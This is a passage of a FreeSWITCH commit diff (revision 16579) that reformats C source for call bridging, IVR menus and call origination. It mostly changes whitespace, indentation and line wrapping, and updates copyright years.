+
return SWITCH_STATUS_SUCCESS;
}
@@ -837,12 +837,12 @@
switch_core_session_message_t msg = { 0 };
switch_channel_t *channel = NULL;
- channel = switch_core_session_get_channel(session);
+ channel = switch_core_session_get_channel(session);
msg.message_id = SWITCH_MESSAGE_INDICATE_UNBRIDGE;
msg.from = __FILE__;
msg.string_arg = switch_channel_get_variable(channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
-
+
switch_core_session_receive_message(session, &msg);
switch_core_event_hook_remove_state_change(session, hanguphook);
@@ -896,17 +896,17 @@
switch_channel_set_variable(channel, SWITCH_BRIDGE_VARIABLE, NULL);
if (uuid && (other_session = switch_core_session_locate(uuid))) {
- switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
- const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
+ switch_channel_t *other_channel = switch_core_session_get_channel(other_session);
+ const char *sbv = switch_channel_get_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE);
const char *var;
- if (!zstr(sbv) && !strcmp(sbv, switch_core_session_get_uuid(session))) {
+ if (!zstr(sbv) && !strcmp(sbv, switch_core_session_get_uuid(session))) {
- switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
- switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
-
- if (switch_channel_up(other_channel)) {
+ switch_channel_set_variable(other_channel, SWITCH_SIGNAL_BRIDGE_VARIABLE, NULL);
+ switch_channel_set_variable(other_channel, SWITCH_BRIDGE_VARIABLE, NULL);
+ if (switch_channel_up(other_channel)) {
+
if (switch_true(switch_channel_get_variable(other_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
switch_ivr_park_session(other_session);
} else if ((var = switch_channel_get_variable(other_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
@@ -916,19 +916,19 @@
if (switch_channel_test_flag(other_channel, CF_BRIDGE_ORIGINATOR)) {
if (switch_channel_test_flag(channel, CF_ANSWERED) &&
switch_true(switch_channel_get_variable(other_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
- switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
+ switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
} else {
switch_channel_set_state(other_channel, CS_EXECUTE);
}
} else {
switch_channel_hangup(other_channel, switch_channel_get_cause(channel));
}
- }
- }
-
- switch_core_session_rwunlock(other_session);
- }
-
+ }
+ }
+
+ switch_core_session_rwunlock(other_session);
+ }
+
if (switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
switch_channel_clear_flag_recursive(channel, CF_BRIDGE_ORIGINATOR);
if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_UNBRIDGE) == SWITCH_STATUS_SUCCESS) {
@@ -936,7 +936,7 @@
switch_event_fire(&event);
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -1001,14 +1001,14 @@
switch_channel_event_set_data(caller_channel, event);
switch_event_fire(&event);
}
-
+
switch_channel_set_state_flag(caller_channel, CF_RESET);
switch_channel_set_state_flag(peer_channel, CF_RESET);
switch_channel_set_state(caller_channel, CS_HIBERNATE);
switch_channel_set_state(peer_channel, CS_HIBERNATE);
-#if 0
+#if 0
if (switch_channel_test_flag(caller_channel, CF_BRIDGED)) {
switch_channel_set_flag(caller_channel, CF_TRANSFER);
switch_channel_set_flag(peer_channel, CF_TRANSFER);
@@ -1042,8 +1042,8 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Call has no media... Redirecting to signal bridge.\n");
return switch_ivr_signal_bridge(session, peer_session);
}
-
+
switch_channel_set_flag_recursive(caller_channel, CF_MEDIA_BRIDGE_TTL);
switch_channel_set_flag_recursive(peer_channel, CF_MEDIA_BRIDGE_TTL);
@@ -1088,12 +1088,12 @@
switch_channel_set_variable(caller_channel, SWITCH_BRIDGE_VARIABLE, switch_core_session_get_uuid(peer_session));
switch_channel_set_variable(peer_channel, SWITCH_BRIDGE_VARIABLE, switch_core_session_get_uuid(session));
- if (!switch_channel_media_ready(caller_channel) ||
+ if (!switch_channel_media_ready(caller_channel) ||
(!switch_channel_test_flag(peer_channel, CF_ANSWERED) && !switch_channel_test_flag(peer_channel, CF_EARLY_MEDIA))) {
if ((status = switch_ivr_wait_for_answer(session, peer_session)) != SWITCH_STATUS_SUCCESS || !switch_channel_ready(caller_channel)) {
switch_channel_state_t w_state = switch_channel_get_state(caller_channel);
switch_channel_hangup(peer_channel, SWITCH_CAUSE_ALLOTTED_TIMEOUT);
- if (w_state < CS_HANGUP && w_state != CS_ROUTING && w_state != CS_PARK &&
+ if (w_state < CS_HANGUP && w_state != CS_ROUTING && w_state != CS_PARK &&
!switch_channel_test_flag(caller_channel, CF_REDIRECT) && !switch_channel_test_flag(caller_channel, CF_TRANSFER) &&
w_state != CS_EXECUTE) {
const char *ext = switch_channel_get_variable(peer_channel, "original_destination_number");
@@ -1169,16 +1169,16 @@
b_leg->skip_frames = DEFAULT_LEAD_FRAMES;
}
}
-
+
switch_channel_set_private(peer_channel, "_bridge_", b_leg);
switch_channel_set_state(peer_channel, CS_EXCHANGE_MEDIA);
audio_bridge_thread(NULL, (void *) a_leg);
-
+
switch_channel_clear_flag_recursive(caller_channel, CF_BRIDGE_ORIGINATOR);
-
+
switch_channel_stop_broadcast(peer_channel);
-
+
while (switch_channel_get_state(peer_channel) == CS_EXCHANGE_MEDIA) {
switch_cond_next();
}
@@ -1192,7 +1192,7 @@
switch_channel_set_flag(peer_channel, CF_BRIDGED);
}
}
-
+
if ((cause = switch_channel_get_cause(caller_channel))) {
switch_channel_set_variable(peer_channel, SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE, switch_channel_cause2str(cause));
}
@@ -1204,7 +1204,7 @@
if (switch_channel_down(peer_channel) && switch_true(switch_channel_get_variable(peer_channel, SWITCH_COPY_XML_CDR_VARIABLE))) {
switch_xml_t cdr;
char *xml_text;
-
+
switch_channel_wait_for_state(peer_channel, caller_channel, CS_DESTROY);
if (switch_ivr_generate_xml_cdr(peer_session, &cdr) == SWITCH_STATUS_SUCCESS) {
@@ -1242,25 +1242,25 @@
state = switch_channel_get_state(caller_channel);
- if (!switch_channel_test_flag(caller_channel, CF_TRANSFER) && !switch_channel_test_flag(caller_channel, CF_REDIRECT) &&
- !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) && !a_leg->clean_exit && !inner_bridge) {
- if ((state != CS_EXECUTE && state != CS_SOFT_EXECUTE && state != CS_PARK && state != CS_ROUTING) ||
- (switch_channel_test_flag(peer_channel, CF_ANSWERED) && state < CS_HANGUP)) {
-
- if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
- switch_ivr_park_session(session);
- } else if ((var = switch_channel_get_variable(caller_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
- transfer_after_bridge(session, var);
- } else if (switch_channel_test_flag(peer_channel, CF_ANSWERED) &&
- switch_true(switch_channel_get_variable(caller_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
+ if (!switch_channel_test_flag(caller_channel, CF_TRANSFER) && !switch_channel_test_flag(caller_channel, CF_REDIRECT) &&
+ !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) && !a_leg->clean_exit && !inner_bridge) {
+ if ((state != CS_EXECUTE && state != CS_SOFT_EXECUTE && state != CS_PARK && state != CS_ROUTING) ||
+ (switch_channel_test_flag(peer_channel, CF_ANSWERED) && state < CS_HANGUP)) {
+
+ if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
+ switch_ivr_park_session(session);
+ } else if ((var = switch_channel_get_variable(caller_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
+ transfer_after_bridge(session, var);
+ } else if (switch_channel_test_flag(peer_channel, CF_ANSWERED) &&
+ switch_true(switch_channel_get_variable(caller_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
switch_call_cause_t cause = switch_channel_get_cause(peer_channel);
if (cause == SWITCH_CAUSE_NONE) {
cause = SWITCH_CAUSE_NORMAL_CLEARING;
}
- switch_channel_hangup(caller_channel, cause);
- }
- }
- }
+ switch_channel_hangup(caller_channel, cause);
+ }
+ }
+ }
if (switch_channel_test_flag(caller_channel, CF_REDIRECT)) {
if (switch_channel_test_flag(caller_channel, CF_RESET)) {
@@ -1272,7 +1272,7 @@
}
}
}
-
+
return status;
}
@@ -1350,7 +1350,7 @@
cleanup_proxy_mode_a(originator_session);
cleanup_proxy_mode_a(originatee_session);
-
+
/* override transmit state for originator_channel to bridge to originatee_channel
* install pointer to originatee_session into originator_channel
* set CF_TRANSFER on both channels and change state to CS_SOFT_EXECUTE to
@@ -1360,8 +1360,8 @@
switch_channel_set_flag(originator_channel, CF_REDIRECT);
switch_channel_set_flag(originatee_channel, CF_REDIRECT);
-
+
switch_channel_set_variable(originator_channel, SWITCH_UUID_BRIDGE, switch_core_session_get_uuid(originatee_session));
switch_channel_set_variable(originator_channel, SWITCH_BRIDGE_CHANNEL_VARIABLE, switch_channel_get_name(originatee_channel));
switch_channel_set_variable(originator_channel, SWITCH_BRIDGE_UUID_VARIABLE, switch_core_session_get_uuid(originatee_session));
@@ -1370,7 +1370,7 @@
switch_channel_set_variable(originatee_channel, SWITCH_BRIDGE_UUID_VARIABLE, switch_core_session_get_uuid(originator_session));
switch_channel_set_variable(originatee_channel, SWITCH_SIGNAL_BOND_VARIABLE, switch_core_session_get_uuid(originator_session));
-
+
originator_cp = switch_channel_get_caller_profile(originator_channel);
originatee_cp = switch_channel_get_caller_profile(originatee_channel);
@@ -1412,7 +1412,7 @@
switch_channel_set_state(originator_channel, state == CS_HIBERNATE ? CS_CONSUME_MEDIA : CS_HIBERNATE);
state = switch_channel_get_state(originatee_channel);
switch_channel_set_state(originatee_channel, state == CS_HIBERNATE ? CS_CONSUME_MEDIA : CS_HIBERNATE);
-
+
status = SWITCH_STATUS_SUCCESS;
switch_ivr_bridge_display(originator_session, originatee_session);
@@ -1490,9 +1490,9 @@
switch_channel_answer(rchannel);
}
- switch_channel_set_state_flag(rchannel, CF_TRANSFER);
+ switch_channel_set_state_flag(rchannel, CF_TRANSFER);
switch_channel_set_state(rchannel, CS_PARK);
-
+
if (bchannel) {
switch_channel_set_state_flag(bchannel, CF_TRANSFER);
switch_channel_set_state(bchannel, CS_PARK);
@@ -1506,8 +1506,8 @@
switch_core_session_rwunlock(bsession);
}
-
+
}
/* For Emacs:
Modified: freeswitch/trunk/src/switch_ivr_menu.c (16578 => 16579)
--- freeswitch/trunk/src/switch_ivr_menu.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_menu.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -69,7 +69,7 @@
struct switch_ivr_menu_action *next;
};
-static switch_ivr_menu_t *switch_ivr_menu_find(switch_ivr_menu_t * stack, const char *name)
+static switch_ivr_menu_t *switch_ivr_menu_find(switch_ivr_menu_t *stack, const char *name)
{
switch_ivr_menu_t *ret;
for (ret = stack; ret; ret = ret->next) {
@@ -79,7 +79,7 @@
return ret;
}
-static void switch_ivr_menu_stack_add(switch_ivr_menu_t ** top, switch_ivr_menu_t * bottom)
+static void switch_ivr_menu_stack_add(switch_ivr_menu_t ** top, switch_ivr_menu_t *bottom)
{
switch_ivr_menu_t *ptr;
@@ -94,7 +94,7 @@
}
SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t ** new_menu,
- switch_ivr_menu_t * main,
+ switch_ivr_menu_t *main,
const char *name,
const char *greeting_sound,
const char *short_greeting_sound,
@@ -106,10 +106,7 @@
const char *tts_voice,
int confirm_attempts,
int inter_timeout,
- int digit_len,
- int timeout, int max_failures,
- int max_timeouts,
- switch_memory_pool_t *pool)
+ int digit_len, int timeout, int max_failures, int max_timeouts, switch_memory_pool_t *pool)
{
switch_ivr_menu_t *menu;
uint8_t newpool = 0;
@@ -209,13 +206,13 @@
}
menu->buf = switch_core_alloc(menu->pool, 1024);
-
+
*new_menu = menu;
return SWITCH_STATUS_SUCCESS;
}
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t * menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind)
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind)
{
switch_ivr_menu_action_t *action;
uint32_t len;
@@ -240,8 +237,8 @@
return SWITCH_STATUS_MEMERR;
}
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t * menu,
- switch_ivr_menu_action_function_t * function, const char *arg, const char *bind)
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t *menu,
+ switch_ivr_menu_action_function_t *function, const char *arg, const char *bind)
{
switch_ivr_menu_action_t *action;
uint32_t len;
@@ -283,7 +280,7 @@
return status;
}
-static switch_status_t play_and_collect(switch_core_session_t *session, switch_ivr_menu_t * menu, char *sound, switch_size_t need)
+static switch_status_t play_and_collect(switch_core_session_t *session, switch_ivr_menu_t *menu, char *sound, switch_size_t need)
{
char terminator;
uint32_t len;
@@ -316,7 +313,7 @@
args.buflen = len;
status = switch_ivr_play_file(session, NULL, sound_expanded, &args);
-
+
if (sound_expanded != sound) {
switch_safe_free(sound_expanded);
}
@@ -329,9 +326,9 @@
menu->ptr += menu_buf_len;
if (menu_buf_len < need) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "waiting for %u/%u digits t/o %d\n",
- (uint32_t)(menu->inlen - strlen(menu->buf)), (uint32_t)need, menu->inter_timeout);
- status = switch_ivr_collect_digits_count(session, menu->ptr, menu->inlen - strlen(menu->buf),
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "waiting for %u/%u digits t/o %d\n",
+ (uint32_t) (menu->inlen - strlen(menu->buf)), (uint32_t) need, menu->inter_timeout);
+ status = switch_ivr_collect_digits_count(session, menu->ptr, menu->inlen - strlen(menu->buf),
need, "#", &terminator, menu_buf_len ? menu->inter_timeout : menu->timeout,
menu->inter_timeout, menu->timeout);
}
@@ -359,7 +356,7 @@
if (menu->confirm_key && *buf != '\0') {
if (*menu->confirm_key == *buf) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
"approving digits '%s' via confirm key %s\n", menu->buf, menu->confirm_key);
break;
} else {
@@ -370,7 +367,8 @@
att--;
}
if (!att) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "rejecting digits '%s' via confirm key %s\n", menu->buf, menu->confirm_key);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "rejecting digits '%s' via confirm key %s\n", menu->buf,
+ menu->confirm_key);
*menu->buf = '\0';
}
}
@@ -390,7 +388,7 @@
switch_ivr_menu_t *menu;
switch_channel_t *channel;
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
if (++stack->stack_count > 12) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Too many levels of recursion.\n");
switch_goto_status(SWITCH_STATUS_FALSE, end);
@@ -460,7 +458,7 @@
switch_channel_set_variable(channel, "tts_engine", menu->tts_engine);
switch_channel_set_variable(channel, "tts_voice", menu->tts_voice);
}
-
+
if (ap->re) {
switch_regex_t *re = NULL;
int ovector[30];
@@ -548,7 +546,7 @@
}
}
- if (switch_test_flag(menu, SWITCH_IVR_MENU_FLAG_STACK)) { /* top level */
+ if (switch_test_flag(menu, SWITCH_IVR_MENU_FLAG_STACK)) { /* top level */
if (switch_test_flag(stack, SWITCH_IVR_MENU_FLAG_FALLTOMAIN)) { /* catch the fallback and recover */
switch_clear_flag(stack, SWITCH_IVR_MENU_FLAG_FALLTOMAIN);
status = SWITCH_STATUS_SUCCESS;
@@ -559,7 +557,8 @@
}
if (!match) {
if (*menu->buf) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "IVR menu '%s' caught invalid input '%s'\n", menu->name, menu->buf);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "IVR menu '%s' caught invalid input '%s'\n", menu->name,
+ menu->buf);
if (menu->invalid_sound) {
play_and_collect(session, menu, menu->invalid_sound, 0);
}
@@ -584,8 +583,8 @@
}
}
- end:
-
+ end:
+
stack->stack_count--;
return status;
@@ -606,7 +605,7 @@
int autocreated;
};
-static switch_ivr_menu_xml_map_t *switch_ivr_menu_stack_xml_find(switch_ivr_menu_xml_ctx_t * xml_ctx, const char *name)
+static switch_ivr_menu_xml_map_t *switch_ivr_menu_stack_xml_find(switch_ivr_menu_xml_ctx_t *xml_ctx, const char *name)
{
switch_ivr_menu_xml_map_t *map = (xml_ctx != NULL ? xml_ctx->map : NULL);
int rc = -1;
@@ -618,8 +617,8 @@
return (rc == 0 ? map : NULL);
}
-static switch_status_t switch_ivr_menu_stack_xml_add(switch_ivr_menu_xml_ctx_t * xml_ctx, const char *name, int action,
- switch_ivr_menu_action_function_t * function)
+static switch_status_t switch_ivr_menu_stack_xml_add(switch_ivr_menu_xml_ctx_t *xml_ctx, const char *name, int action,
+ switch_ivr_menu_action_function_t *function)
{
switch_status_t status = SWITCH_STATUS_FALSE;
@@ -656,13 +655,14 @@
const char *name;
switch_ivr_action_t action;
} iam[] = {
- { "menu-exit", SWITCH_IVR_ACTION_DIE },
- { "menu-sub", SWITCH_IVR_ACTION_EXECMENU},
- { "menu-exec-app", SWITCH_IVR_ACTION_EXECAPP},
- { "menu-play-sound", SWITCH_IVR_ACTION_PLAYSOUND},
- { "menu-back", SWITCH_IVR_ACTION_BACK},
- { "menu-top", SWITCH_IVR_ACTION_TOMAIN},
- { NULL, 0}
+ {
+ "menu-exit", SWITCH_IVR_ACTION_DIE}, {
+ "menu-sub", SWITCH_IVR_ACTION_EXECMENU}, {
+ "menu-exec-app", SWITCH_IVR_ACTION_EXECAPP}, {
+ "menu-play-sound", SWITCH_IVR_ACTION_PLAYSOUND}, {
+ "menu-back", SWITCH_IVR_ACTION_BACK}, {
+ "menu-top", SWITCH_IVR_ACTION_TOMAIN}, {
+ NULL, 0}
};
SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action)
@@ -670,7 +670,7 @@
int i;
if (!zstr(action_name)) {
- for(i = 0;;i++) {
+ for (i = 0;; i++) {
if (!iam[i].name) {
break;
}
@@ -690,7 +690,7 @@
int i;
if (!zstr(action)) {
- for(i = 0;;i++) {
+ for (i = 0;; i++) {
if (!iam[i].name) {
break;
}
@@ -740,30 +740,30 @@
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t * xml_menu_ctx,
- const char *name, switch_ivr_menu_action_function_t * function)
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
+ const char *name, switch_ivr_menu_action_function_t *function)
{
return switch_ivr_menu_stack_xml_add(xml_menu_ctx, name, -1, function);
}
-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t * xml_menu_ctx,
+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
switch_ivr_menu_t ** menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu)
{
switch_status_t status = SWITCH_STATUS_FALSE;
if (xml_menu_ctx != NULL && menu_stack != NULL && xml_menu != NULL) {
- const char *menu_name = switch_xml_attr_soft(xml_menu, "name"); /* if the attr doesn't exist, return "" */
- const char *greet_long = switch_xml_attr(xml_menu, "greet-long"); /* if the attr doesn't exist, return NULL */
- const char *greet_short = switch_xml_attr(xml_menu, "greet-short"); /* if the attr doesn't exist, return NULL */
- const char *invalid_sound = switch_xml_attr(xml_menu, "invalid-sound"); /* if the attr doesn't exist, return NULL */
- const char *exit_sound = switch_xml_attr(xml_menu, "exit-sound"); /* if the attr doesn't exist, return NULL */
- const char *timeout = switch_xml_attr_soft(xml_menu, "timeout"); /* if the attr doesn't exist, return "" */
+ const char *menu_name = switch_xml_attr_soft(xml_menu, "name"); /* if the attr doesn't exist, return "" */
+ const char *greet_long = switch_xml_attr(xml_menu, "greet-long"); /* if the attr doesn't exist, return NULL */
+ const char *greet_short = switch_xml_attr(xml_menu, "greet-short"); /* if the attr doesn't exist, return NULL */
+ const char *invalid_sound = switch_xml_attr(xml_menu, "invalid-sound"); /* if the attr doesn't exist, return NULL */
+ const char *exit_sound = switch_xml_attr(xml_menu, "exit-sound"); /* if the attr doesn't exist, return NULL */
+ const char *timeout = switch_xml_attr_soft(xml_menu, "timeout"); /* if the attr doesn't exist, return "" */
const char *max_failures = switch_xml_attr_soft(xml_menu, "max-failures"); /* if the attr doesn't exist, return "" */
const char *max_timeouts = switch_xml_attr_soft(xml_menu, "max-timeouts");
- const char *confirm_macro= switch_xml_attr(xml_menu, "confirm-macro");
- const char *confirm_key= switch_xml_attr(xml_menu, "confirm-key");
- const char *tts_engine= switch_xml_attr(xml_menu, "tts-engine");
- const char *tts_voice= switch_xml_attr(xml_menu, "tts-voice");
+ const char *confirm_macro = switch_xml_attr(xml_menu, "confirm-macro");
+ const char *confirm_key = switch_xml_attr(xml_menu, "confirm-key");
+ const char *tts_engine = switch_xml_attr(xml_menu, "tts-engine");
+ const char *tts_voice = switch_xml_attr(xml_menu, "tts-voice");
const char *confirm_attempts = switch_xml_attr_soft(xml_menu, "confirm-attempts");
const char *digit_len = switch_xml_attr_soft(xml_menu, "digit-len");
const char *inter_timeout = switch_xml_attr_soft(xml_menu, "inter-digit-timeout");
@@ -782,7 +782,7 @@
greet_long,
greet_short,
invalid_sound,
- exit_sound,
+ exit_sound,
confirm_macro,
confirm_key,
tts_engine,
@@ -790,14 +790,12 @@
atoi(confirm_attempts),
atoi(inter_timeout),
atoi(digit_len),
- atoi(timeout),
- strlen(max_failures)? atoi(max_failures): 0,
- strlen(max_timeouts)? atoi(max_timeouts): 0,
- xml_menu_ctx->pool);
+ atoi(timeout),
+ strlen(max_failures) ? atoi(max_failures) : 0, strlen(max_timeouts) ? atoi(max_timeouts) : 0, xml_menu_ctx->pool);
/* set the menu_stack for the caller */
if (status == SWITCH_STATUS_SUCCESS && *menu_stack == NULL) {
*menu_stack = menu;
-
+
if (xml_menu_ctx->autocreated) {
switch_set_flag(menu, SWITCH_IVR_MENU_FLAG_FREEPOOL);
}
Modified: freeswitch/trunk/src/switch_ivr_originate.c (16578 => 16579)
--- freeswitch/trunk/src/switch_ivr_originate.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_originate.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -151,9 +151,9 @@
} else {
return NULL;
}
-
+
switch_ivr_sleep(collect->session, 0, SWITCH_TRUE, NULL);
-
+
if (!strcasecmp(collect->key, "exec")) {
char *data;
char *app_name, *app_data;
@@ -203,7 +203,8 @@
args.buflen = sizeof(buf);
status = switch_ivr_play_file(collect->session, NULL, collect->file, &args);
if (!SWITCH_READ_ACCEPTABLE(status)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(collect->session), SWITCH_LOG_ERROR, "%s Error Playing File!", switch_channel_get_name(channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(collect->session), SWITCH_LOG_ERROR, "%s Error Playing File!",
+ switch_channel_get_name(channel));
switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
}
} else {
@@ -217,10 +218,10 @@
}
}
}
- wbreak:
+ wbreak:
switch_core_session_rwunlock(collect->session);
- UNPROTECT_INTERFACE(application_interface);
+ UNPROTECT_INTERFACE(application_interface);
return NULL;
}
@@ -236,13 +237,10 @@
}
static int check_per_channel_timeouts(originate_global_t *oglobals,
- originate_status_t *originate_status,
- int max,
- time_t start,
- switch_call_cause_t *force_reason)
+ originate_status_t *originate_status, int max, time_t start, switch_call_cause_t *force_reason)
{
- int x = 0,i,delayed_channels=0,active_channels=0;
- uint32_t early_exit_time=0, delayed_min=0;
+ int x = 0, i, delayed_channels = 0, active_channels = 0;
+ uint32_t early_exit_time = 0, delayed_min = 0;
time_t elapsed = switch_epoch_time_now(NULL) - start;
@@ -250,7 +248,7 @@
return 0;
}
for (i = 0; i < max; i++) {
- if (originate_status[i].peer_channel && switch_channel_get_state(originate_status[i].peer_channel) != CS_DESTROY &&
+ if (originate_status[i].peer_channel && switch_channel_get_state(originate_status[i].peer_channel) != CS_DESTROY &&
switch_channel_get_state(originate_status[i].peer_channel) != CS_REPORTING) {
if (originate_status[i].per_channel_delay_start) {
delayed_channels++;
@@ -262,16 +260,16 @@
if (active_channels == 0 && delayed_channels) {
for (i = 0; i < max; i++) {
- if ( originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
- (! delayed_min || delayed_min > originate_status[i].per_channel_delay_start) ) {
+ if (originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
+ (!delayed_min || delayed_min > originate_status[i].per_channel_delay_start)) {
delayed_min = originate_status[i].per_channel_delay_start;
}
}
early_exit_time = delayed_min - (uint32_t) elapsed;
}
for (i = 0; i < max; i++) {
- if (originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
- (elapsed > originate_status[i].per_channel_delay_start || active_channels == 0) ) {
+ if (originate_status[i].peer_channel && originate_status[i].per_channel_delay_start &&
+ (elapsed > originate_status[i].per_channel_delay_start || active_channels == 0)) {
if (active_channels == 0) {
if (originate_status[i].per_channel_timelimit_sec) {
if (originate_status[i].per_channel_timelimit_sec > early_exit_time) {
@@ -294,18 +292,17 @@
originate_status[i].per_channel_delay_start = 0;
}
- if (! originate_status[i].per_channel_delay_start) {
+ if (!originate_status[i].per_channel_delay_start) {
switch_channel_clear_flag(originate_status[i].peer_channel, CF_BLOCK_STATE);
}
}
if (originate_status[i].peer_channel && switch_channel_up(originate_status[i].peer_channel)) {
if (originate_status[i].per_channel_progress_timelimit_sec && elapsed > originate_status[i].per_channel_progress_timelimit_sec &&
- !(
- switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY) ||
+ !(switch_channel_test_flag(originate_status[i].peer_channel, CF_RING_READY) ||
switch_channel_test_flag(originate_status[i].peer_channel, CF_ANSWERED) ||
(!oglobals->monitor_early_media_ring && switch_channel_test_flag(originate_status[i].peer_channel, CF_EARLY_MEDIA))
- )
+ )
) {
switch_channel_hangup(originate_status[i].peer_channel, SWITCH_CAUSE_PROGRESS_TIMEOUT);
*force_reason = SWITCH_CAUSE_PROGRESS_TIMEOUT;
@@ -339,24 +336,24 @@
bd = "monitor_early_media_ring";
}
switch_channel_set_variable(channel, "originate_disposition", bd);
-
+
if (oglobals) {
if (oglobals->monitor_early_media_ring_total && ++oglobals->monitor_early_media_ring_count < oglobals->monitor_early_media_ring_total) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Ring %d/%d\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Ring %d/%d\n",
oglobals->monitor_early_media_ring_count, oglobals->monitor_early_media_ring_total);
return SWITCH_TRUE;
}
-
+
switch_channel_set_private(channel, "_oglobals_", NULL);
-
+
if (!oglobals->progress) {
oglobals->progress = 1;
}
-
+
if (!oglobals->ring_ready && !oglobals->ignore_ring_ready) {
oglobals->ring_ready = 1;
}
-
+
if (!oglobals->ignore_early_media && !oglobals->early_ok) {
oglobals->early_ok = 1;
}
@@ -387,18 +384,18 @@
caller_channel = NULL;
}
}
-
+
for (i = 0; i < len; i++) {
switch_channel_state_t state;
if (originate_status[i].tagged && originate_status[i].peer_session) {
switch_channel_t *channel = switch_core_session_get_channel(originate_status[i].peer_session);
uint32_t j;
-
+
if (switch_channel_down(channel)) {
switch_call_cause_t cause = switch_channel_get_cause(channel);
-
+
for (j = 0; j < len; j++) {
channel = switch_core_session_get_channel(originate_status[j].peer_session);
switch_channel_hangup(channel, cause);
@@ -408,7 +405,7 @@
goto end;
}
}
-
+
if (!(originate_status[i].peer_channel && originate_status[i].peer_session)) {
oglobals->hups++;
continue;
@@ -457,11 +454,11 @@
if (oglobals->early_ok) {
pindex = i;
}
-
+
if (oglobals->monitor_early_media_fail) {
const char *var = switch_channel_get_variable(originate_status[i].peer_channel, "monitor_early_media_fail");
if (!zstr(var)) {
- char *fail_array[128] = {0};
+ char *fail_array[128] = { 0 };
int fail_count = 0;
